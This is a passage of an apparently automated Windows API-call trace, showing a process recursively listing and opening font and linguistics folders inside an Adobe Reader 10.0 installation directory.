nFileSizeLow=0x175c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Bold.otf", cAlternateFileName="")) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1879c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-BoldIt.otf", cAlternateFileName="")) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17f10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-It.otf", cAlternateFileName="")) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17098, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Regular.otf", cAlternateFileName="")) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFM", cAlternateFileName="")) returned 1 [0084.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.062] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0084.063] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0084.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.063] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0084.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.063] NtClose (Handle=0x15c) returned 0x0 [0084.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0084.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0084.064] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0084.064] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.064] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFM", cAlternateFileName="")) returned 1 [0084.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0084.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0084.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0084.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0084.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0084.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ce8b0 [0084.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0084.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed5a8 [0084.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ce9b8 [0084.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0084.067] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="zx______.pfm", cAlternateFileName="")) returned 1 [0084.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0084.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0084.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0084.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0084.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0084.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed5c8 [0084.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ceac0 [0084.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0084.068] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="zy______.pfm", cAlternateFileName="")) returned 1 [0084.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0084.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0084.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0084.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0084.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0084.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed5e8 [0084.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cebc8 [0084.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0084.070] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="zy______.pfm", cAlternateFileName="")) returned 0 [0084.070] GetLastError () returned 0x12 [0084.070] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0084.070] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0084.070] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.070] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFM", cAlternateFileName="")) returned 1 [0084.070] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="zx______.pfm", cAlternateFileName="")) returned 1 [0084.070] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="zy______.pfm", cAlternateFileName="")) returned 1 [0084.070] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="zy______.pfm", cAlternateFileName="")) returned 0 [0084.070] GetLastError () returned 0x12 [0084.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0084.071] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0084.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ce8b0) returned 1 [0084.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.071] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8791, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFB", cAlternateFileName="")) returned 1 [0084.071] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12735, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZX______.PFB", cAlternateFileName="")) returned 1 [0084.071] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZY______.PFB", cAlternateFileName="")) returned 1 [0084.071] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZY______.PFB", cAlternateFileName="")) returned 0 [0084.071] GetLastError () returned 0x12 [0084.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.072] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0084.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0084.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0084.072] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="")) returned 1 [0084.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0084.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.073] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0084.073] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0084.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.126] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0084.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.127] NtClose (Handle=0x178) returned 0x0 [0084.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0084.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0084.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.128] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0084.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageNames2", cAlternateFileName="")) returned 1 [0084.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="")) returned 1 [0084.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="")) returned 0 [0084.128] GetLastError () returned 0x12 [0084.128] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0084.128] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0084.128] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageNames2", cAlternateFileName="")) returned 1 [0084.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0084.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ce8b0 [0084.129] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.132] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0084.132] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0084.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.133] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0084.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.133] NtClose (Handle=0x178) returned 0x0 [0084.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ce8b0) returned 1 [0084.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0084.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ce8b0 [0084.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cecd0 [0084.134] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0084.137] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, 